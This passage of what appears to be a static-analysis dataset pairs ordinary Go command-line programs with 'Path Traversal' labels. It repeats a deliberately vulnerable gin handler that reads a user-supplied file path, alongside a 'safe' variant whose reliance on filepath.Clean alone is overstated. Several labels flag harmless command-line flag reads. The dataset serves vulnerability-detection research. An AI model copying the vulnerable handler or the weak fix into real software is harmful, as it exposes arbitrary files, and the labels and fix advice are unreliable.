{\n\tflag.StringVar(&storyPath, \"story\", \"gopher.json\", \"path of the JSON file containing story\")\n\ttpl = template.Must(template.New(\"\").Parse(storyArcTemplate))\n}\n\nfunc main() {\n\tflag.Parse()\n\n\tfile, err := os.Open(storyPath)\n\tif err != nil {\n\t\tpanic(\"Error opening json file\")\n\t}\n\tdefer file.Close()\n\n\tstory, err := adventure.ParseStory(file)\n\tif err != nil {\n\t\tpanic(\"Error parsing json story\")\n\t}\n\n\tplay(story, \"intro\")\n}\n\nvar storyArcTemplate = `\nTITLE:\t\t{{ .Title }}\n\n{{ range .Story }}\n{{ . }}\n{{ end }}\n{{ if .Options }}\nWhat would you do?\n{{ range $i, $v := .Options }}\n{{ $i }}) {{ $v.Text }}\n{{ end }}\n{{ else }}\nThe End.\n{{ end }}\n\n`\n\nfunc askWithRetries(maxValue int) int {\n\tvar ans int\n\tfmt.Print(\"Choose an option: \")\n\t_, err := fmt.Scan(&ans)\n\n\tif err != nil {\n\t\tfmt.Print(\"Invalid input.\\nHere, try again. \")\n\t\treturn askWithRetries(maxValue)\n\t}\n\n\tif ans < 0 || ans > maxValue {\n\t\tfmt.Print(\"Invalid input.\\nHere, try again. \")\n\t\treturn askWithRetries(maxValue)\n\t}\n\n\treturn ans\n}\n\nfunc play(story adventure.Story, arc string) {\n\tstoryArc, ok := story[arc]\n\tif !ok {\n\t\tpanic(\"Error: cannot find given chapter\")\n\t}\n\n\tclear()\n\ttpl.Execute(os.Stdout, storyArc)\n\n\tif len(storyArc.Options) > 0 {\n\t\tans := askWithRetries(len(storyArc.Options) - 1)\n\n\t\toption := storyArc.Options[ans]\n\n\t\tplay(story, option.Arc)\n\t}\n}\n\nfunc clear() {\n\tswitch runtime.GOOS {\n\tcase \"linux\":\n\t\tcmd := exec.Command(\"clear\")\n\t\tcmd.Stdout = os.Stdout\n\t\tcmd.Run()\n\tcase \"windows\":\n\t\tcmd := exec.Command(\"cmd\", \"/c\", \"cls\")\n\t\tcmd.Stdout = os.Stdout\n\t\tcmd.Run()\n\t}\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 27, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "54053a1099b432b788ec51b5a5767e698eed0205127c9e63d032e04a838fd347", "license": {"spdx": ["Apache-2.0"], "repo": "cbonitz/timescaledb-parallel-copy", "path": "cmd/timescaledb-parallel-copy/main.go", "repo_head_hexsha": "7f8bd27ebd3068821de15fa2fd371b1e8ccaa498", "stack_hexsha": "2f58143ef71a8f1adaea17c2edb5c59449fb6086", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 107, "entireCode": "// timescaledb-parallel-copy loads data from CSV format into a TimescaleDB database\npackage main\n\nimport (\n\t\"bufio\"\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"time\"\n\n\t\"github.com/jmoiron/sqlx\"\n\t_ \"github.com/lib/pq\"\n)\n\nconst (\n\tbinName = \"timescaledb-parallel-copy\"\n\tversion = \"0.1.0\"\n)\n\n// Flag vars\nvar (\n\tpostgresConnect string\n\tdbName string\n\tschemaName string\n\ttableName string\n\ttruncate bool\n\n\tcopyOptions string\n\tsplitCharacter string\n\tfromFile string\n\tcolumns string\n\tskipHeader bool\n\n\tworkers int\n\tbatchSize int\n\tlogBatches bool\n\treportingPeriod time.Duration\n\tverbose bool\n\tshowVersion bool\n\n\trowCount int64\n)\n\ntype batch struct {\n\trows []string\n}\n\n// Parse args\nfunc init() {\n\tflag.StringVar(&postgresConnect, \"connection\", \"host=localhost user=postgres sslmode=disable\", \"PostgreSQL connection url\")\n\tflag.StringVar(&dbName, \"db-name\", \"test\", \"Database where the destination table exists\")\n\tflag.StringVar(&tableName, \"table\", \"test_table\", \"Destination table for insertions\")\n\tflag.StringVar(&schemaName, \"schema\", \"public\", \"Desination table's schema\")\n\tflag.BoolVar(&truncate, \"truncate\", false, \"Truncate the destination table before insert\")\n\n\tflag.StringVar(©Options, \"copy-options\", \"CSV\", \"Additional options to pass to COPY (e.g., NULL 'NULL')\")\n\tflag.StringVar(&splitCharacter, \"split\", \",\", \"Character to split by\")\n\tflag.StringVar(&fromFile, \"file\", \"\", \"File to read from rather than stdin\")\n\tflag.StringVar(&columns, \"columns\", \"\", \"Comma-separated columns present in CSV\")\n\tflag.BoolVar(&skipHeader, \"skip-header\", false, \"Skip the first line of the input\")\n\n\tflag.IntVar(&batchSize, \"batch-size\", 5000, \"Number of rows per insert\")\n\tflag.IntVar(&workers, \"workers\", 1, \"Number of parallel requests to make\")\n\tflag.BoolVar(&logBatches, \"log-batches\", false, \"Whether to time individual batches.\")\n\tflag.DurationVar(&reportingPeriod, \"reporting-period\", 0*time.Second, \"Period to report insert stats; if 0s, intermediate results will not be reported\")\n\tflag.BoolVar(&verbose, \"verbose\", false, \"Print more information about copying statistics\")\n\n\tflag.BoolVar(&showVersion, \"version\", false, \"Show the version of this tool\")\n\n\tflag.Parse()\n}\n\nfunc getConnectString() string {\n\treturn fmt.Sprintf(\"%s dbname=%s\", postgresConnect, dbName)\n}\n\nfunc getFullTableName() string {\n\treturn fmt.Sprintf(\"\\\"%s\\\".\\\"%s\\\"\", schemaName, tableName)\n}\n\nfunc main() {\n\tif showVersion {\n\t\tfmt.Printf(\"%s %s (%s %s)\\n\", binName, version, runtime.GOOS, runtime.GOARCH)\n\t\tos.Exit(0)\n\t}\n\n\tif truncate { // Remove existing data from the table\n\t\tdbBench := sqlx.MustConnect(\"postgres\", getConnectString())\n\t\t_, err := dbBench.Exec(fmt.Sprintf(\"TRUNCATE %s\", getFullTableName()))\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\terr = dbBench.Close()\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}\n\n\tvar scanner *bufio.Scanner\n\tif len(fromFile) > 0 {\n\t\tfile, err := os.Open(fromFile)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\tdefer file.Close()\n\n\t\tscanner = bufio.NewScanner(file)\n\t} else {\n\t\tscanner = bufio.NewScanner(os.Stdin)\n\t}\n\n\tvar wg sync.WaitGroup\n\tbatchChan := make(chan *batch, workers)\n\n\t// Generate COPY workers\n\tfor i := 0; i < workers; i++ {\n\t\twg.Add(1)\n\t\tgo processBatches(&wg, batchChan)\n\t}\n\n\t// Reporting thread\n\tif reportingPeriod > (0 * time.Second) {\n\t\tgo report()\n\t}\n\n\tstart := time.Now()\n\trowsRead := scan(batchSize, scanner, batchChan)\n\tclose(batchChan)\n\twg.Wait()\n\tend := time.Now()\n\ttook := end.Sub(start)\n\trowRate := float64(rowsRead) / float64(took.Seconds())\n\n\tres := fmt.Sprintf(\"COPY %d\", rowsRead)\n\tif verbose {\n\t\tres += fmt.Sprintf(\", took %v with %d worker(s) (mean rate %f/sec)\", took, workers, rowRate)\n\t}\n\tfmt.Println(res)\n}\n\n// report periodically prints the write rate in number of rows per second\nfunc report() {\n\tstart := time.Now()\n\tprevTime := start\n\tprevRowCount := int64(0)\n\n\tfor now := range time.NewTicker(reportingPeriod).C {\n\t\trCount := atomic.LoadInt64(&rowCount)\n\n\t\ttook := now.Sub(prevTime)\n\t\trowrate := float64(rCount-prevRowCount) / float64(took.Seconds())\n\t\toverallRowrate := float64(rCount) / float64(now.Sub(start).Seconds())\n\t\ttotalTook := now.Sub(start)\n\n\t\tfmt.Printf(\"at %v, row rate %f/sec (period), row rate %f/sec (overall), %E total rows\\n\", totalTook-(totalTook%time.Second), rowrate, overallRowrate, float64(rCount))\n\n\t\tprevRowCount = rCount\n\t\tprevTime = now\n\t}\n\n}\n\n// scan reads lines from a bufio.Scanner, each which should be in CSV format\n// with a delimiter specified by --split (comma by default)\nfunc scan(itemsPerBatch int, scanner *bufio.Scanner, batchChan chan *batch) int64 {\n\trows := make([]string, 0, itemsPerBatch)\n\tvar linesRead int64\n\n\tif skipHeader {\n\t\tif verbose {\n\t\t\tfmt.Println(\"Skipping the first line of the input.\")\n\t\t}\n\t\tscanner.Scan()\n\t}\n\n\tfor scanner.Scan() {\n\t\tlinesRead++\n\n\t\trows = append(rows, scanner.Text())\n\t\tif len(rows) >= itemsPerBatch { // dispatch to COPY worker & reset\n\t\t\tbatchChan <- &batch{rows}\n\t\t\trows = make([]string, 0, itemsPerBatch)\n\t\t}\n\t}\n\n\tif err := scanner.Err(); err != nil {\n\t\tlog.Fatalf(\"Error reading input: %s\", err.Error())\n\t}\n\n\t// Finished reading input, make sure last batch goes out.\n\tif len(rows) > 0 {\n\t\tbatchChan <- &batch{rows}\n\t}\n\n\treturn linesRead\n}\n\n// processBatches reads batches from C and writes them to the target server, while tracking stats on the write.\nfunc processBatches(wg *sync.WaitGroup, C chan *batch) {\n\tdbBench := sqlx.MustConnect(\"postgres\", getConnectString())\n\tdefer dbBench.Close()\n\n\tfor batch := range C {\n\t\tstart := time.Now()\n\n\t\ttx := dbBench.MustBegin()\n\t\tdelimStr := fmt.Sprintf(\"'%s'\", splitCharacter)\n\t\tif splitCharacter == \"\\\\t\" {\n\t\t\tdelimStr = \"E\" + delimStr\n\t\t}\n\t\tvar copyCmd string\n\t\tif columns != \"\" {\n\t\t\tcopyCmd = fmt.Sprintf(\"COPY %s(%s) FROM STDIN WITH DELIMITER %s %s\", getFullTableName(), columns, delimStr, copyOptions)\n\t\t} else {\n\t\t\tcopyCmd = fmt.Sprintf(\"COPY %s FROM STDIN WITH DELIMITER %s %s\", getFullTableName(), delimStr, copyOptions)\n\t\t}\n\n\t\tstmt, err := tx.Prepare(copyCmd)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\t// Need to cover the string-ified version of the character to actual character for correct split\n\t\tsChar := splitCharacter\n\t\tif sChar == \"\\\\t\" {\n\t\t\tsChar = \"\\t\"\n\t\t}\n\t\tfor _, line := range batch.rows {\n\t\t\t// For some reason this is only needed for tab splitting\n\t\t\tif sChar == \"\\t\" {\n\t\t\t\tsp := strings.Split(line, sChar)\n\t\t\t\targs := make([]interface{}, len(sp))\n\t\t\t\tfor i, v := range sp {\n\t\t\t\t\targs[i] = v\n\t\t\t\t}\n\t\t\t\t_, err = stmt.Exec(args...)\n\t\t\t} else {\n\t\t\t\t_, err = stmt.Exec(line)\n\t\t\t}\n\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t}\n\n\t\tatomic.AddInt64(&rowCount, int64(len(batch.rows)))\n\n\t\terr = stmt.Close()\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\terr = tx.Commit()\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tif logBatches {\n\t\t\ttook := time.Now().Sub(start)\n\t\t\tfmt.Printf(\"[BATCH] took %v, batch size %d, row rate %f/sec\\n\", took, batchSize, float64(batchSize)/float64(took.Seconds()))\n\t\t}\n\n\t}\n\twg.Done()\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 107, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "58cc4242ca6d369aa6308890413ebd85132a84c5db87b31bb2008fec52c31c47", "license": {"spdx": ["MIT"], "repo": "monochromegane/queuing-theory-simulator", "path": "cmd/simulator/main.go", "repo_head_hexsha": "24c4de7a606c203c2dced72ce25cd281cd0b2e07", "stack_hexsha": "8611b591b4d5e0e5d8dc26bb95ac6563668b4395", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 73, "entireCode": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\n\tsimulator \"github.com/monochromegane/queuing-theory-simulator\"\n)\n\nvar (\n\tseed int\n\tstep int\n\tserver int\n\tlambda float64\n\tmu float64\n\n\toutDir string\n\tparams string\n\tsimulation string\n\thistory string\n)\n\nfunc init() {\n\tflag.IntVar(&seed, \"seed\", 1, \"Seed\")\n\tflag.IntVar(&step, \"step\", 1, \"Number of iterations\")\n\tflag.IntVar(&server, \"server\", 1, \"Number of servers\")\n\tflag.Float64Var(&lambda, \"lambda\", 0.1, \"Lambda (Number of arrival in UnitTime)\")\n\tflag.Float64Var(&mu, \"mu\", 0.2, \"Mu (Number of service in UnitTime)\")\n\n\tflag.StringVar(&outDir, \"dir\", \"out\", \"Output directory\")\n\tflag.StringVar(¶ms, \"params\", \"params.csv\", \"File name for parameters\")\n\tflag.StringVar(&simulation, \"simulation\", \"simulation.csv\", \"File name for simulation result\")\n\tflag.StringVar(&history, \"history\", \"history.csv\", \"File name for request history\")\n}\n\nfunc main() {\n\tflag.Parse()\n\n\tfParams, fSimulation, fHistory, err := setup()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer func() {\n\t\tfParams.Close()\n\t\tfSimulation.Close()\n\t\tfHistory.Close()\n\t}()\n\n\tserved := 0\n\tavgResponse := 0.0\n\tlambdas := func(t int) float64 { return lambda }\n\tmus := func(t int) float64 { return mu }\n\tmodel := simulator.NewMMSModel(int64(seed), lambdas, mus)\n\tfor i := 0; i < step; i++ {\n\t\t_, processing, waiting, rs := model.Progress(server)\n\t\tfor _, r := range rs {\n\t\t\tavgResponse = onlineAvg(r, served, avgResponse)\n\t\t\tserved++\n\t\t}\n\t\tfmt.Fprintf(fSimulation, \"%d,%d,%f\\n\", processing, waiting, avgResponse)\n\t}\n\n\thistories := model.History()\n\tfor _, h := range histories {\n\t\tfmt.Fprintf(fHistory, \"%d,%d,%d,%d\\n\", h[0], h[1], h[2], h[3])\n\t}\n}\n\nfunc setup() (*os.File, *os.File, *os.File, error) {\n\tif outDir != \"\" {\n\t\terr := os.MkdirAll(outDir, 0755)\n\t\tif err != nil {\n\t\t\treturn nil, nil, nil, err\n\t\t}\n\t}\n\tfParams, err := os.OpenFile(filepath.Join(outDir, params), os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0666)\n\tif err != nil {\n\t\treturn nil, nil, nil, err\n\t}\n\tfmt.Fprintf(fParams, \"seed,step,server,lambda,mu\\n\")\n\tfmt.Fprintf(fParams, \"%d,%d,%d,%f,%f\\n\", seed, step, server, lambda, mu)\n\n\tfSimulation, err := os.OpenFile(filepath.Join(outDir, simulation), os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0666)\n\tif err != nil {\n\t\treturn nil, nil, nil, err\n\t}\n\tfmt.Fprintf(fSimulation, \"processing,waiting,averageResponseTime\\n\")\n\n\tfHistory, err := os.OpenFile(filepath.Join(outDir, history), os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0666)\n\tif err != nil {\n\t\treturn nil, nil, nil, err\n\t}\n\tfmt.Fprintf(fHistory, \"arriveAt,serviceTime,beginAt,endAt\\n\")\n\n\treturn fParams, fSimulation, fHistory, nil\n}\n\nfunc onlineAvg(x, n int, avg float64) float64 {\n\treturn (float64(n)*avg + float64(x)) / float64(n+1)\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 73, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "fa2de6383f1d428c304ef67834f6f006bde23832e58e72b4fecafd3bffb017a1", "license": {"spdx": ["MIT"], "repo": "gitchander/gowords", "path": "words/main.go", "repo_head_hexsha": "6f9bf4c3acd8725709c3b3dfe311d26703f51b79", "stack_hexsha": "8cc53bfaca2d5f3ed4347bd62260ea1ac634e617", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 126, "entireCode": "package main\n\nimport (\n\t\"bufio\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"os\"\n\n\tprmt \"github.com/gitchander/permutation\"\n)\n\nfunc main() {\n\twordsFile()\n\t//wordsZip()\n}\n\nfunc wordsFile() {\n\n\tvar (\n\t\tchars string\n\t\tfilename string\n\t)\n\n\tflag.StringVar(&chars, \"chars\", \"\", \"characters set\")\n\tflag.StringVar(&filename, \"filename\", \"\", \"filename\")\n\n\tflag.Parse()\n\n\trs := []rune(chars)\n\n\twords, err := readWordsFromFile(filename)\n\tcheckError(err)\n\n\tm := make(map[string]struct{})\n\tfor _, word := range words {\n\t\tm[word] = struct{}{}\n\t}\n\n\tfind(m, rs)\n}\n\nfunc checkError(err error) {\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}\n\nfunc find(words map[string]struct{}, rs []rune) {\n\n\tresultMap := make(map[string]struct{})\n\n\ttotal := 0\n\tfor wordLen := 3; wordLen <= len(rs); wordLen++ {\n\t\tvar count int\n\t\tf := func(word string) bool {\n\t\t\tif _, ok := words[word]; ok {\n\t\t\t\tif _, ok := resultMap[word]; !ok {\n\t\t\t\t\tresultMap[word] = struct{}{}\n\t\t\t\t\tfmt.Println(word)\n\t\t\t\t\tcount++\n\t\t\t\t\ttotal++\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true\n\t\t}\n\t\ttestRunes(rs, wordLen, f)\n\t\t//fmt.Printf(\"words: len %d, count:%d\\n\", wordLen, count)\n\t\t//fmt.Println()\n\t}\n\t//fmt.Println(\"total count:\", total)\n}\n\nfunc testRunes(rs []rune, k int, f func(word string) bool) {\n\tn := len(rs)\n\tds := make([]rune, k)\n\tas := make([]int, k)\n\tfor i := range as {\n\t\tas[i] = i\n\t}\n\tp := prmt.New(prmt.IntSlice(as))\n\tfor {\n\t\tfor p.Next() {\n\t\t\tfor i, a := range as {\n\t\t\t\tds[i] = rs[a]\n\t\t\t}\n\t\t\tif !f(string(ds)) {\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\toverflow := nextComb(as, n)\n\t\tif overflow {\n\t\t\tbreak\n\t\t}\n\t}\n}\n\nfunc nextComb(as []int, n int) (overflow bool) {\n\tif (len(as) == 1) || nextComb(as[1:], n) {\n\t\td := as[0] + 1\n\t\tif d > (n - len(as)) {\n\t\t\treturn true\n\t\t}\n\t\tfor i := range as {\n\t\t\tas[i] = d + i\n\t\t}\n\t}\n\treturn false\n}\n\nfunc readWords(r io.Reader) ([]string, error) {\n\tvar words []string\n\tscanner := bufio.NewScanner(r)\n\tfor scanner.Scan() {\n\t\twords = append(words, scanner.Text())\n\t}\n\terr := scanner.Err()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn words, nil\n}\n\nfunc readWordsFromFile(filename string) ([]string, error) {\n\tfile, err := os.Open(filename)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\treturn readWords(file)\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 126, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "e3ea95eb529b398e93924650526cc5dd81833e76d5efc8aa5378e47b47777d19", "license": {"spdx": ["MIT"], "repo": "nandotech/quiz-game", "path": "altsol/quiz.go", "repo_head_hexsha": "a8f26114e70a223117176ea61d2a8f38b510b791", "stack_hexsha": "c634c05ab34c6db0a98dc2a453c6ad4d315e9636", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 68, "entireCode": "package main\n\nimport (\n\t\"encoding/csv\"\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"time\"\n)\n\nvar (\n\tqCsv string\n\ttimeout int\n)\n\nfunc init() {\n\tflag.StringVar(&qCsv, \"quiz\", \"problems.csv\", \"A .csv file with questions and answers.\")\n\tflag.IntVar(&timeout, \"timeout\", 30, \"The time limit for answering questions.\")\n\tflag.Parse()\n}\n\nfunc main() {\n\tif qCsv == \"\" {\n\t\tlog.Fatalln(\"No CSV file provided.\")\n\t}\n\tquestions := readCsv(qCsv)\n\tqz := quiz{questions: questions, score: 0}\n\n\tresultCh := make(chan quiz)\n\tgo func() {\n\t\tqz.ask()\n\t\tresultCh <- qz\n\t}()\n\ttimeoutCh := time.After(time.Duration(timeout) * time.Second)\n\n\tselect {\n\tcase <-resultCh:\n\tcase <-timeoutCh:\n\t\tfmt.Println(\"Timeout!\")\n\t}\n\tfmt.Println(\"Score:\", qz.score)\n}\n\ntype quiz struct {\n\tquestions []question\n\tscore int\n}\n\ntype question struct {\n\tproblem string\n\tresult string\n}\n\nfunc (q *quiz) ask() {\n\tq.score = 0\n\tfor _, question := range q.questions {\n\t\tfmt.Println(question.problem)\n\t\tvar answer string\n\t\tfmt.Scanln(&answer)\n\t\tif answer == question.result {\n\t\t\tq.score++\n\t\t}\n\t}\n}\n\nfunc readCsv(p string) []question {\n\tqfile, err := os.Open(p)\n\tif err != nil {\n\t\tlog.Fatalf(\"could not open file: %v\\n\", err)\n\t}\n\tdefer qfile.Close()\n\n\tcsvrd := csv.NewReader(qfile)\n\trecords, err := csvrd.ReadAll()\n\tif err != nil {\n\t\tlog.Fatalf(\"could not parse .csv: %v\\n\", err)\n\t}\n\tvar questions []question\n\tfor _, record := range records {\n\t\tq := question{problem: record[0], result: record[1]}\n\t\tquestions = append(questions, q)\n\t}\n\treturn questions\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 68, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "ccc5ad148f3f5b16774c27f4d6af509cf9817f80249d4aa23aa53be8a9506a9b", "license": {"spdx": ["MIT"], "repo": "johnweldon/go-misc", "path": "cmd/log-import/main.go", "repo_head_hexsha": "291e0312d8cdcdbac6bb8734e7dd11a6f2ad141a", "stack_hexsha": "07d87c69cea55487a40f73e7993f3a67bf5b4fe5", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 45, "entireCode": "package main\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"flag\"\n\t\"log\"\n\t\"os\"\n\n\tjlog \"github.com/johnweldon/go-misc/log\"\n)\n\nvar (\n\timportPath string\n\texportPath string\n\tserverlist string\n\tcsv bool\n)\n\nfunc init() {\n\tflag.StringVar(&importPath, \"import\", \"\", \"path to the json formatted legacy format input file\")\n\tflag.StringVar(&exportPath, \"export\", \"imported.json\", \"path to the json formatted output file\")\n\tflag.StringVar(&serverlist, \"serverlist\", \"localhost\", \"mongo serverlist\")\n\tflag.BoolVar(&csv, \"csv\", false, \"expect csv input rather than json\")\n}\n\nfunc main() {\n\tflag.Parse()\n\trecords, projects := convert()\n\twriteFile(records, projects)\n\twriteMongo(records)\n}\n\nfunc writeMongo(records []jlog.TimeRecord) {\n\tdb := jlog.NewMongoDB(serverlist)\n\terr := db.SaveRecords(records)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treadin := db.GetRecords()\n\tlog.Printf(\"Imported %d records\\n\", len(readin))\n}\n\nfunc convert() ([]jlog.TimeRecord, []jlog.Project) {\n\treader, err := os.Open(importPath)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tif csv {\n\t\trecords, err := jlog.ConvertCSVRecords(reader, \"\")\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\treturn records, []jlog.Project{jlog.Project{}}\n\t}\n\n\treport, err := jlog.ImportReportFromJSON(reader)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\treturn jlog.ConvertLegacyRecords(report)\n}\n\nfunc writeFile(records []jlog.TimeRecord, projects []jlog.Project) {\n\tb, err := json.Marshal(struct {\n\t\tRecords []jlog.TimeRecord\n\t\tProjects []jlog.Project\n\t}{records, projects})\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tvar buf bytes.Buffer\n\terr = json.Indent(&buf, b, \"\", \" \")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tout, err := os.Create(exportPath)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer out.Close()\n\n\tbuf.WriteTo(out)\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 45, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "2d7d66ad16476a1576e3ddedd533c37f50ea5f8dcb9e51dadbe510381c2f7bf1", "license": {"spdx": ["BSD-3-Clause"], "repo": "dvilchansky/gopubg", "path": "cmd/telemetry_parser/main.go", "repo_head_hexsha": "21e67cbf7727107c8772f6ad51946a5417de1435", "stack_hexsha": "adfa96590e27542749fc5ddaaed8880aa968c9af", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": 